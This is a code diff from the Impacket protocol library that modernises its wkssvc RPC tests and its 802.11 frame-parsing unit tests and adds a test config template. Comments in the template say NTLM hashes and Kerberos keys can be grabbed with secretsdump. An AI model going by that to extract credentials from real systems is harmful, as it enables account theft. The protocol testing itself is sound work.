rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrWkstaTransportAdd() req['ServerName'] = '\x00'*10 req['Level'] = 0 @@ -189,10 +177,9 @@ def test_NetrWkstaTransportAdd(self): raise def test_hNetrUseAdd_hNetrUseDel_hNetrUseGetInfo_hNetrUseEnum(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() info1 = wkst.LPUSE_INFO_1() - info1['ui1_local'] = 'Z:\x00' info1['ui1_remote'] = '\\\\127.0.0.1\\c$\x00' info1['ui1_password'] = NULL @@ -205,7 +192,7 @@ def test_hNetrUseAdd_hNetrUseDel_hNetrUseGetInfo_hNetrUseEnum(self): pass # We're not testing this call with NDR64, it fails and I can't see the contents - if self.ts == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'): + if self.transfer_syntax == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'): return try: @@ -233,8 +220,7 @@ def test_hNetrUseAdd_hNetrUseDel_hNetrUseGetInfo_hNetrUseEnum(self): pass def test_NetrUseAdd_NetrUseDel_NetrUseGetInfo_NetrUseEnum(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrUseAdd() req['ServerName'] = '\x00'*10 req['Level'] = 1 @@ -251,7 +237,7 @@ def test_NetrUseAdd_NetrUseDel_NetrUseGetInfo_NetrUseEnum(self): pass # We're not testing this call with NDR64, it fails and I can't see the contents - if self.ts == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'): + if self.transfer_syntax == ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'): return req = wkst.NetrUseEnum() @@ -281,7 +267,6 @@ def test_NetrUseAdd_NetrUseDel_NetrUseGetInfo_NetrUseEnum(self): # This could happen in newer OSes pass - req = wkst.NetrUseDel() req['ServerName'] = '\x00'*10 req['UseName'] = 'Z:\x00' @@ -294,10 +279,8 @@ def test_NetrUseAdd_NetrUseDel_NetrUseGetInfo_NetrUseEnum(self): # This could happen in newer OSes pass - def test_NetrWorkstationStatisticsGet(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrWorkstationStatisticsGet() req['ServerName'] = '\x00'*10 req['ServiceName'] = '\x00' @@ -311,8 +294,7 @@ def test_NetrWorkstationStatisticsGet(self): raise def test_hNetrWorkstationStatisticsGet(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: resp2 = wkst.hNetrWorkstationStatisticsGet(dce, '\x00', 0, 0) resp2.dump() @@ -321,12 +303,10 @@ def test_hNetrWorkstationStatisticsGet(self): raise def test_NetrGetJoinInformation(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrGetJoinInformation() req['ServerName'] = '\x00'*10 req['NameBuffer'] = '\x00' - try: resp2 = dce.request(req) resp2.dump() @@ -335,8 +315,7 @@ def test_NetrGetJoinInformation(self): raise def test_hNetrGetJoinInformation(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: resp = wkst.hNetrGetJoinInformation(dce, '\x00') resp.dump() @@ -345,8 +324,7 @@ def test_hNetrGetJoinInformation(self): raise def test_NetrJoinDomain2(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrJoinDomain2() req['ServerName'] = '\x00'*10 req['DomainNameParam'] = '172.16.123.1\\FREEFLY\x00' @@ -354,7 +332,6 @@ def test_NetrJoinDomain2(self): req['AccountName'] = NULL req['Password']['Buffer'] = '\x00'*512 req['Options'] = wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED - #req.dump() try: resp2 = dce.request(req) resp2.dump() @@ -363,23 +340,21 @@ def test_NetrJoinDomain2(self): raise def test_hNetrJoinDomain2(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: - resp = wkst.hNetrJoinDomain2(dce,'172.16.123.1\\FREEFLY\x00','OU=BETUS,DC=FREEFLY\x00',NULL,'\x00'*512, wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED) + resp = wkst.hNetrJoinDomain2(dce, '172.16.123.1\\FREEFLY\x00', 'OU=BETUS,DC=FREEFLY\x00', + NULL, '\x00'*512, wkst.NETSETUP_DOMAIN_JOIN_IF_JOINED) resp.dump() except Exception as e: if str(e).find('ERROR_INVALID_PASSWORD') < 0: raise def test_NetrUnjoinDomain2(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrUnjoinDomain2() req['ServerName'] = '\x00'*10 req['AccountName'] = NULL req['Password']['Buffer'] = '\x00'*512 - #req['Password'] = NULL req['Options'] = wkst.NETSETUP_ACCT_DELETE try: resp2 = dce.request(req) @@ -389,8 +364,7 @@ def test_NetrUnjoinDomain2(self): raise def test_hNetrUnjoinDomain2(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: resp = wkst.hNetrUnjoinDomain2(dce, NULL, b'\x00'*512, wkst.NETSETUP_ACCT_DELETE) resp.dump() @@ -399,14 +373,12 @@ def test_hNetrUnjoinDomain2(self): raise def test_NetrRenameMachineInDomain2(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrRenameMachineInDomain2() req['ServerName'] = '\x00'*10 req['MachineName'] = 'BETUS\x00' req['AccountName'] = NULL req['Password']['Buffer'] = '\x00'*512 - #req['Password'] = NULL req['Options'] = wkst.NETSETUP_ACCT_CREATE try: resp2 = dce.request(req) @@ -416,8 +388,7 @@ def test_NetrRenameMachineInDomain2(self): raise def test_hNetrRenameMachineInDomain2(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: resp = wkst.hNetrRenameMachineInDomain2(dce, 'BETUS\x00', NULL, b'\x00'*512, wkst.NETSETUP_ACCT_CREATE) resp.dump() @@ -426,7 +397,7 @@ def test_hNetrRenameMachineInDomain2(self): raise def test_NetrValidateName2(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() req = wkst.NetrValidateName2() req['ServerName'] = '\x00'*10 @@ -442,7 +413,7 @@ def test_NetrValidateName2(self): raise def test_hNetrValidateName2(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() try: resp2 = wkst.hNetrValidateName2(dce, 'BETO\x00', NULL, NULL, wkst.NETSETUP_NAME_TYPE.NetSetupDomain) @@ -452,7 +423,7 @@ def test_hNetrValidateName2(self): raise def test_NetrGetJoinableOUs2(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() req = wkst.NetrGetJoinableOUs2() req['ServerName'] = '\x00'*10 @@ -460,7 +431,6 @@ def test_NetrGetJoinableOUs2(self): req['AccountName'] = NULL req['Password'] = NULL req['OUCount'] = 0 - #req.dump() try: resp2 = dce.request(req) resp2.dump() @@ -469,24 +439,21 @@ def test_NetrGetJoinableOUs2(self): raise def test_hNetrGetJoinableOUs2(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: - resp = wkst.hNetrGetJoinableOUs2(dce,'FREEFLY\x00', NULL, NULL,0 ) + resp = wkst.hNetrGetJoinableOUs2(dce, 'FREEFLY\x00', NULL, NULL, 0) resp.dump() except Exception as e: if str(e).find('0x8001011c') < 0: raise def test_NetrAddAlternateComputerName(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrAddAlternateComputerName() req['ServerName'] = '\x00'*10 req['AlternateName'] = 'FREEFLY\x00' req['DomainAccount'] = NULL req['EncryptedPassword'] = NULL - #req.dump() try: resp2 = dce.request(req) resp2.dump() @@ -495,24 +462,21 @@ def test_NetrAddAlternateComputerName(self): raise def test_hNetrAddAlternateComputerName(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: - resp2= wkst.hNetrAddAlternateComputerName(dce, 'FREEFLY\x00', NULL, NULL) + resp2 = wkst.hNetrAddAlternateComputerName(dce, 'FREEFLY\x00', NULL, NULL) resp2.dump() except Exception as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0: raise def test_NetrRemoveAlternateComputerName(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrRemoveAlternateComputerName() req['ServerName'] = '\x00'*10 req['AlternateName'] = 'FREEFLY\x00' req['DomainAccount'] = NULL req['EncryptedPassword'] = NULL - #req.dump() try: resp2 = dce.request(req) resp2.dump() @@ -521,24 +485,21 @@ def test_NetrRemoveAlternateComputerName(self): raise def test_hNetrRemoveAlternateComputerName(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: - resp2 = wkst.hNetrRemoveAlternateComputerName(dce,'FREEFLY\x00', NULL, NULL ) + resp2 = wkst.hNetrRemoveAlternateComputerName(dce, 'FREEFLY\x00', NULL, NULL) resp2.dump() except Exception as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0 and str(e).find('ERROR_INVALID_PASSWORD') < 0: raise def test_NetrSetPrimaryComputerName(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() req = wkst.NetrSetPrimaryComputerName() req['ServerName'] = '\x00'*10 req['PrimaryName'] = 'FREEFLY\x00' req['DomainAccount'] = NULL req['EncryptedPassword'] = NULL - #req.dump() try: resp2 = dce.request(req) resp2.dump() @@ -548,10 +509,9 @@ def test_NetrSetPrimaryComputerName(self): raise def test_hNetrSetPrimaryComputerName(self): - dce, rpctransport = self.connect() - + dce, rpc_transport = self.connect() try: - resp2 = wkst.hNetrSetPrimaryComputerName(dce,'FREEFLY\x00', NULL, NULL ) + resp2 = wkst.hNetrSetPrimaryComputerName(dce, 'FREEFLY\x00', NULL, NULL) resp2.dump() except Exception as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0: @@ -559,12 +519,11 @@ def test_hNetrSetPrimaryComputerName(self): raise def test_NetrEnumerateComputerNames(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() req = wkst.NetrEnumerateComputerNames() req['ServerName'] = '\x00'*10 req['NameType'] = wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames - #req.dump() try: resp2 = dce.request(req) resp2.dump() @@ -573,51 +532,26 @@ def test_NetrEnumerateComputerNames(self): raise def test_hNetrEnumerateComputerNames(self): - dce, rpctransport = self.connect() + dce, rpc_transport = self.connect() try: - resp2 = wkst.hNetrEnumerateComputerNames(dce,wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames) + resp2 = wkst.hNetrEnumerateComputerNames(dce, wkst.NET_COMPUTER_NAME_TYPE.NetAllComputerNames) resp2.dump() - except Exception as e: + except wkst.DCERPCSessionError as e: if str(e).find('ERROR_NOT_SUPPORTED') < 0: raise -class SMBTransport(WKSTTests): - def setUp(self): - WKSTTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % self.machine - self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') - -class SMBTransport64(WKSTTests): - def setUp(self): - WKSTTests.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('SMBTransport', 'username') - self.domain = configFile.get('SMBTransport', 'domain') - self.serverName = configFile.get('SMBTransport', 'servername') - self.password = configFile.get('SMBTransport', 'password') - self.machine = configFile.get('SMBTransport', 'machine') - self.hashes = configFile.get('SMBTransport', 'hashes') - self.stringBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % self.machine - self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') +@pytest.mark.remote +class WKSTTestsSMBTransport(WKSTTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR + + +@pytest.mark.remote +class WKSTTestsSMBTransport64(WKSTTests, unittest.TestCase): + transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64 + # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64)) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/dcetests.cfg.template b/tests/dcetests.cfg.template new file mode 100644 index 0000000000..b9e9070f2f --- /dev/null +++ b/tests/dcetests.cfg.template @@ -0,0 +1,21 @@ +[global] + +[TCPTransport] +# NetBIOS Name +servername = +# Targets IP +machine = +username = +password = +# NTLM Hash, you can grab it with secretsdump +hashes = +# Kerberos AES 256 Key, you can grab it with secretsdump +aesKey256 = +# Kerberos AES 128 Key, you can grab it with secretsdump +aesKey128 = +# It must be the domain FQDN +domain = +# This need to be a domain joined machine NetBIOS name +machineuser = +# Domain joined machine NetBIOS name hashes (grab them with secretsdump) +machineuserhashes = diff --git a/tests/dot11/__init__.py b/tests/dot11/__init__.py new file mode 100644 index 0000000000..3424c5ef25 --- /dev/null +++ b/tests/dot11/__init__.py @@ -0,0 +1,7 @@ +#!/usr/bin/env python +# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# diff --git a/tests/dot11/runalltestcases.bat b/tests/dot11/runalltestcases.bat deleted file mode 100644 index 98397c8a23..0000000000 --- a/tests/dot11/runalltestcases.bat +++ /dev/null @@ -1,2 +0,0 @@ - -FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G \ No newline at end of file diff --git a/tests/dot11/runalltestcases.sh b/tests/dot11/runalltestcases.sh deleted file mode 100755 index 8eac76204e..0000000000 --- a/tests/dot11/runalltestcases.sh +++ /dev/null @@ -1,46 +0,0 @@ -#!/bin/bash -separator='======================================================================' -export PYTHONPATH=../..:$PYTHONPATH - -if [ $# -gt 0 ] -then - # Only run coverage when called by tox - RUN="python -m coverage run --append --rcfile=../coveragerc " -else - RUN=python -fi - -total=0 -ok=0 -failed=0 -for file in `ls *.py` ; do - echo $separator - echo Executing $file - latest=$( - $RUN $file 2>&1 | { - while read line; do - echo " $line" 1>&2 - latest="$line" - done - echo $latest - } - ) - #echo Latest ${latest} - result=${latest:0:6} - if [ "$result" = "FAILED" ] - then - (( failed++ )) - elif [ "$result" = "OK" ] - then - (( ok++ )) - else - echo "WARNING: Unknown result!!!!!" - (( failed++ )) - fi - - (( total++ )) -done -echo $separator -echo Summary: -echo " OK $ok/$total" -echo " $failed FAILED" diff --git a/tests/dot11/test_Dot11Base.py b/tests/dot11/test_Dot11Base.py index f10fe8499a..24115d45b8 100644 --- a/tests/dot11/test_Dot11Base.py +++ b/tests/dot11/test_Dot11Base.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11, Dot11Types +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11, Dot11Types + class TestDot11Common(unittest.TestCase): @@ -101,5 +106,5 @@ def test_13_latest(self): self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e') -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Common) -unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_Dot11Decoder.py b/tests/dot11/test_Dot11Decoder.py index 6a9298c4e8..8cc8f40d2f 100644 --- a/tests/dot11/test_Dot11Decoder.py +++ b/tests/dot11/test_Dot11Decoder.py @@ -1,11 +1,16 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types -from six import PY2 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from six import PY2 +from impacket.ImpactDecoder import Dot11Decoder #,Dot11Types + class TestDot11Decoder(unittest.TestCase): @@ -52,7 +57,7 @@ def test_04_Dot11WEPData(self): # Test if wep data "get_packet" is correct wepdata=b'\x6e\xdf\x93\x36\x39\x5a\x39\x66\x6b\x96\xd1\x7a\xe1\xae\xb6\x11\x22\xfd\xf0\xd4\x0d\x6a\xb8\xb1\xe6\x2e\x1f\x25\x7d\x64\x1a\x07\xd5\x86\xd2\x19\x34\xb5\xf7\x8a\x62\x33\x59\x6e\x89\x01\x73\x50\x12\xbb\xde\x17' - self.assertEqual(self.in3.get_packet(),wepdata) + self.assertEqual(self.in3.get_packet(), wepdata) def test_05_LLC(self): 'Test LLC decoder' @@ -67,7 +72,8 @@ def test_06_Data(self): else: dataclass=self.in3.__class__ - self.assertTrue(str(dataclass).find('ImpactPacket.Data') > 0) - -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Decoder) -unittest.TextTestRunner(verbosity=1).run(suite) + self.assertGreater(str(dataclass).find('ImpactPacket.Data'), 0) + + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_Dot11HierarchicalUpdate.py b/tests/dot11/test_Dot11HierarchicalUpdate.py index 8a765fc444..885afcfe3d 100644 --- a/tests/dot11/test_Dot11HierarchicalUpdate.py +++ b/tests/dot11/test_Dot11HierarchicalUpdate.py @@ -1,20 +1,27 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import ProtocolPacket +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest - -class TestPacket(ProtocolPacket): - def __init__(self, aBuffer = None): +from impacket.dot11 import ProtocolPacket + + +class PacketTest(ProtocolPacket): + + def __init__(self, aBuffer=None): header_size = 7 tail_size = 5 - ProtocolPacket.__init__(self, header_size,tail_size) - if(aBuffer): + ProtocolPacket.__init__(self, header_size, tail_size) + if aBuffer: self.load_packet(aBuffer) - + + class TestDot11HierarchicalUpdate(unittest.TestCase): def setUp(self): @@ -33,10 +40,10 @@ def setUp(self): self.rawpacket2+ \ b"Tail3" - self.packet1=TestPacket(self.rawpacket1) - self.packet2=TestPacket(self.rawpacket2) + self.packet1 = PacketTest(self.rawpacket1) + self.packet2 = PacketTest(self.rawpacket2) self.packet2.contains(self.packet1) - self.packet3=TestPacket(self.rawpacket3) + self.packet3 = PacketTest(self.rawpacket3) self.packet3.contains(self.packet2) def test_01_StartupPacketsStringTest(self): @@ -125,6 +132,7 @@ def test_07_ChildModificationTest(self): self.assertEqual(self.packet1.body.get_buffer_as_string(), b"Body1") self.assertEqual(self.packet2.body.get_buffer_as_string(), b"Header1**NewBody**Tail1") self.assertEqual(self.packet3.body.get_buffer_as_string(), b"Header2Header1**NewBody**Tail1Tail2") - -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11HierarchicalUpdate) -unittest.TextTestRunner(verbosity=1).run(suite) + + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameControlACK.py b/tests/dot11/test_FrameControlACK.py index 295e54ae53..985a4bba30 100644 --- a/tests/dot11/test_FrameControlACK.py +++ b/tests/dot11/test_FrameControlACK.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameACK + class TestDot11FrameControlACK(unittest.TestCase): @@ -49,5 +54,6 @@ def test_03_RA(self): self.ack.set_ra(ra) self.assertEqual(self.ack.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlACK) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameControlCFEnd.py b/tests/dot11/test_FrameControlCFEnd.py index 7c7561adf5..8b02b42bb5 100644 --- a/tests/dot11/test_FrameControlCFEnd.py +++ b/tests/dot11/test_FrameControlCFEnd.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEnd + class TestDot11FrameControlCFEnd(unittest.TestCase): @@ -59,5 +64,6 @@ def test_04_BSSID(self): self.cfend.set_bssid(bssid) self.assertEqual(self.cfend.get_bssid().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEnd) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameControlCFEndCFACK.py b/tests/dot11/test_FrameControlCFEndCFACK.py index 0fd35907d7..466abc5545 100644 --- a/tests/dot11/test_FrameControlCFEndCFACK.py +++ b/tests/dot11/test_FrameControlCFEndCFACK.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCFEndCFACK + class TestDot11FrameControlCFEndCFACK(unittest.TestCase): @@ -59,5 +64,6 @@ def test_04_BSSID(self): self.cfendcfack.set_bssid(bssid) self.assertEqual(self.cfendcfack.get_bssid().tolist(), [0x12,0xae,0x0f,0xb0,0xd9,0x34]) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCFEndCFACK) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameControlCTS.py b/tests/dot11/test_FrameControlCTS.py index f4792fae68..2c0ce08620 100644 --- a/tests/dot11/test_FrameControlCTS.py +++ b/tests/dot11/test_FrameControlCTS.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFrameCTS + class TestDot11FrameControlCTS(unittest.TestCase): @@ -50,5 +55,6 @@ def test_03_RA(self): self.cts.set_ra(ra) self.assertEqual(self.cts.get_ra().tolist(), [0x12,0x19,0xe0,0x98,0x04,0x34]) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlCTS) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameControlPSPoll.py b/tests/dot11/test_FrameControlPSPoll.py index 1c0a7388eb..672dcb3976 100644 --- a/tests/dot11/test_FrameControlPSPoll.py +++ b/tests/dot11/test_FrameControlPSPoll.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11,Dot11Types,Dot11ControlFramePSPoll + class TestDot11FrameControlPSPoll(unittest.TestCase): @@ -59,5 +64,6 @@ def test_04_TA(self): self.pspoll.set_ta(ta) self.assertEqual(self.pspoll.get_ta().tolist(), [0x12,0xbe,0xe5,0x05,0x4c,0x34]) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlPSPoll) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameControlRTS.py b/tests/dot11/test_FrameControlRTS.py index df22e88349..819c2ce7a4 100644 --- a/tests/dot11/test_FrameControlRTS.py +++ b/tests/dot11/test_FrameControlRTS.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11, Dot11Types, Dot11ControlFrameRTS + class TestDot11FrameControlRTS(unittest.TestCase): @@ -59,5 +64,6 @@ def test_04_TA(self): self.rts.set_ta(ta) self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11FrameControlRTS) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameData.py b/tests/dot11/test_FrameData.py index 6c51bdac86..73dc864551 100644 --- a/tests/dot11/test_FrameData.py +++ b/tests/dot11/test_FrameData.py @@ -1,10 +1,15 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - -from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest +from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame + class TestDot11DataFrames(unittest.TestCase): @@ -97,5 +102,6 @@ def test_09_frame_data(self): frame_body=b"\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00" self.assertEqual(self.data.get_frame_body(), frame_body) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11DataFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagement.py b/tests/dot11/test_FrameManagement.py index c30382a824..2bfff8e815 100644 --- a/tests/dot11/test_FrameManagement.py +++ b/tests/dot11/test_FrameManagement.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import unittest +from six import PY2 from impacket.dot11 import Dot11Types from impacket.ImpactDecoder import RadioTapDecoder -from six import PY2 -import unittest + class TestDot11ManagementBeaconFrames(unittest.TestCase): @@ -180,5 +185,6 @@ def test_16(self): ]) self.assertEqual(self.management_beacon.get_header_size(), 127) -suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementBeaconFrames) -unittest.TextTestRunner(verbosity=1).run(suite) + +if __name__ == '__main__': + unittest.main(verbosity=1) diff --git a/tests/dot11/test_FrameManagementAssociationRequest.py b/tests/dot11/test_FrameManagementAssociationRequest.py index 1ff9599082..2cecf3fc82 100644 --- a/tests/dot11/test_FrameManagementAssociationRequest.py +++ b/tests/dot11/test_FrameManagementAssociationRequest.py @@ -1,12 +1,17 @@ #!/usr/bin/env python -# sorry, this is very ugly, but I'm in python 2.5 -import sys -sys.path.insert(0,"../..") - +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 